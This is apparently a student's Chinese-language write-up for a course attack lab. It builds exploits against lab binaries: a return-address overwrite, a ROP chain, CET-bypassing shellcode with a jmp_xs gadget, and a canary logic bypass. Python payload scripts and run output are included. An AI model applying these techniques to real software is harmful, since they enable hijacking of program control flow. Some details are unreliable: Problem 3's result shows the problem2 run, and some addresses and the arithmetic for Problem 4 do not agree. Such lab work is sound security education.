

栈溢出攻击实验

题目解决思路

Problem 1: 基础栈溢出

- 分析:
 - 漏洞点: 通过 `objdump` 分析 `func` 函数, 发现程序使用了 `strcpy` 函数将用户输入复制到栈上缓冲区, 且未检查长度, 存在典型的栈溢出漏洞。
 - 偏移量计算: 汇编指令 `lea -0x8(%rbp), %rax` 显示缓冲区起始于 `rbp-0x8`。因此, 覆盖返回地址所需的 Padding 长度为 `8 (Buffer) + 8 (Saved RBP) = 16` 字节。
 - 目标地址: 通过查找符号表, 发现目标函数 `func1` 的地址为 `0x401216`, 该函数会输出通关字符串。
 - 保护机制: 题目未开启 `NX` 保护, 但本题仅需覆盖返回地址即可, 无需执行 `Shellcode`。
- 解决方案: 使用 Python 脚本构造 Payload。Payload 结构为: `16字节填充 + func1地址(64位小端序)`。

```
import struct

# 1. Padding: Buffer(8) + Saved RBP(8) = 16 bytes
padding_len = 16
padding = b'A' * padding_len

# 2. Target Address: func1 = 0x401216
target_addr = 0x401216

# 3. Construct Payload
payload = padding + struct.pack('<Q', target_addr)

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
isuka-shinji@HHB:~/attack-lab-IsukaShinji$ # 1. 生成攻击文件
python3 solve_prob1.py

# 2. 运行题目进行攻击
./problem1 ans1.txt
已生成 ans1.txt, 请在终端运行 ./problem1 ans1.txt 进行验证
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

- 分析:

- **保护机制:** 题目开启了 **NX (No-Execute)** 保护, 无法直接在栈上执行代码, 因此采用 **ROP (Return-Oriented Programming)** 技术。
- **目标逻辑:** 分析 `func2` (地址 `0x401216`) 汇编代码, 发现其开头指令 `cmp1 $0x3f8, -0x4(%rbp)` 暗示函数接收参数, 且仅当参数等于 `0x3f8` 时才输出成功信息。
- **传参规则:** x86-64 架构下, 第一个整型参数通过 `%rdi` 寄存器传递。
- **Gadget 利用:** 在程序中找到 Gadget `pop rdi; ret` (地址 `0x4012c7`), 用于将栈上的数据弹入 `%rdi` 寄存器。
- **偏移量:** 与 Problem 1 相同, `memcpy` 的目标缓冲区位于 `rbp-0x8`, Padding 为 16 字节。

- **解决方案:** Python 脚本构造 ROP 链。Payload 结构为: `Padding + Gadget地址 + 参数(0x3f8) + func2地址`。

```
import struct

# Padding
padding = b'A' * 16

# Gadgets & Addresses
pop_rdi_ret = 0x4012c7
arg1_val = 0x3f8
func2_addr = 0x401216

# ROP Chain
payload = padding
payload += struct.pack('<Q', pop_rdi_ret) # pop rdi; ret
payload += struct.pack('<Q', arg1_val)    # 0x3f8 -> rdi
payload += struct.pack('<Q', func2_addr)  # return to func2

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
isuka-shinji@HNB:~/attack-lab-IsukaShinji$ python3 solve_prob2.py
已生成 ans2.txt, 请运行 ./problem2 ans2.txt 进行验证
isuka-shinji@HNB:~/attack-lab-IsukaShinji$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析:

- **难点:** 需要执行 Shellcode 且栈地址随机 (ASLR)。同时, 二进制文件开启了 `-fcf-protection` (CET), 要求间接跳转目标必须以 `endbr64` 指令开头。
- **利用路径:**
 1. 利用程序自带的 Gadget `jmp_xs` (`0x401334`)。该函数会读取 `saved_rsp` 并跳转到 `saved_rsp + 0x10` 的位置。
 2. 经调试, 该位置恰好指向我们溢出缓冲区的起始位置。
 3. 因此, 将函数的返回地址覆盖为 `jmp_xs` 的地址, 即可实现跳回栈上执行代码。
- **Shellcode 构造:** 为了绕过 CET 检查, Shellcode 必须以 `endbr64` (`\xf3\x0f\x1e\xfa`) 开头。功能逻辑: `push 114 -> pop rdi -> mov eax, func1_addr -> call eax`。

- **解决方案:** 构造 Payload: `Shellcode + Padding填充 + jmp_xs地址`。

```
import struct

func1_addr = 0x401216
jmp_xs_addr = 0x401334
padding_len = 40 # Buffer(32) + Saved RBP(8)

# Shellcode: endbr64 + set rdi=114 + call func1
shellcode = b'\xf3\x0f\x1e\xfa' # endbr64 (绕过 CET)
shellcode += b'\x6a\x72' # push 0x72 (114)
shellcode += b'\x5f' # pop %rdi
shellcode += b'\xb8' + struct.pack('<I', func1_addr) # mov eax, func1
shellcode += b'\xff\xd0' # call %rax

# Payload layout
payload = shellcode + b'A' * (padding_len - len(shellcode))
payload += struct.pack('<Q', jmp_xs_addr)

with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
isuka-shinji@HHB:~/attack-lab-IsukaShinji$ python3 solve_prob3.py
Payload 已写入 ans3.txt (长度 48 字节)
Shellcode 内容: f30f1efa6a725fb816124000ffd0
isuka-shinji@HHB:~/attack-lab-IsukaShinji$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 4:

- 分析:

- **Canary 机制分析:** 通过 `objdump` 查看 `func` 函数汇编, 明确发现了 Canary 的保护机制:

1. **设置 Canary:** 在函数开头, 从 `%fs:0x28` 取出随机值放入栈底 (`-0x8(%rbp)`)。![请在此处插入截图: objdump 中 problem4 设置 Canary 的汇编代码 (`mov %fs:0x28, %rax ...`)]
2. **检查 Canary:** 在函数结尾, 取出栈中该值与 `%fs:0x28` 比较, 若不相等则调用 `__stack_chk_fail` 报错。

```
140a: 48 8b 45 f8          mov     -0x8(%rbp),%rax ;
//[3] 从栈中取出 canary 值
140e: 64 48 2b 04 25 00    sub     %fs:0x28,%rax ;
//[4] 再次与 fs 段中的原值进行比较 (相减)
1415: 00 00
1417: 74 05               je      141e <func+0xc1>;
//[5] 如果结果为0 (相等), 说明栈未被破坏, 正常跳转退出
1419: e8 b2 fc ff ff      call    10d0 <__stack_chk_fail@plt>;
//[6] 如果不相等, 说明发生溢出, 调用报错函数终止程序
```

- **逻辑绕过:** 由于无法轻易泄露 Canary, 且题目暗示“逻辑解法”。分析 `func` 核心逻辑发现: 程序对用户输入的数字进行循环减法 (`input - 0xfffffffffe`), 并检查结果是否为 1, 且原始输入是否为 `0xffffffffff`。这意味着只要输入 `-1` (即 `0xffffffffff`), 即可满足条件 `0xffffffffff - 0xfffffffffe = 1`, 从而跳转到 `func1` 通关。

- **解决方案:** 通过标准输入传入正确的序列。前两行用于回答前两个问题 (任意字符串), 第三行输入 `-1`。

```
user
yes
-1
```

- 结果:

```
isuka-shinji@HHB:~/attack-lab-IsukaShinji$ ./problem4 < ans4.txt
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 4294967295
great!I will give you great scores
```

思考与总结

通过本次实验，我初步掌握了栈溢出攻击的多种利用形式及防御机制：

1. **基础溢出**：理解了函数栈帧结构，学会了如何计算 Padding 并覆盖返回地址劫持控制流。
2. **NX 保护与 ROP**：在无法执行栈上代码时，学会了利用程序现有的代码片段（Gadgets）构造 ROP 链，通过控制寄存器（如 `%rdi`）实现函数传参调用。
3. **高级保护绕过**：在面对 ASLR 和 CET (`-fcf-protection`) 时，利用已有的间接跳转 Gadget (`jmp_xs`) 配合 `endbr64` 指令构造合法的 Shellcode，实现了动态栈地址的定位与执行。
4. **Canary 与逻辑安全**：分析了 Canary 在汇编层面的实现方式（fs 段寄存器取值与校验），并认识到并非所有漏洞都需要通过溢出来利用，代码逻辑本身的缺陷（如整数溢出或特定值检查）同样可能导致安全问题。

参考资料

1. `RUC ICS Attack Lab README`
2. `*Computer Systems: A Programmer's Perspective (3rd Edition)*`, Randal E. Bryant and David R. O'Hallaron.
3. `Stack Overflow and ROP Gadget Tutorials`, CTF Wiki.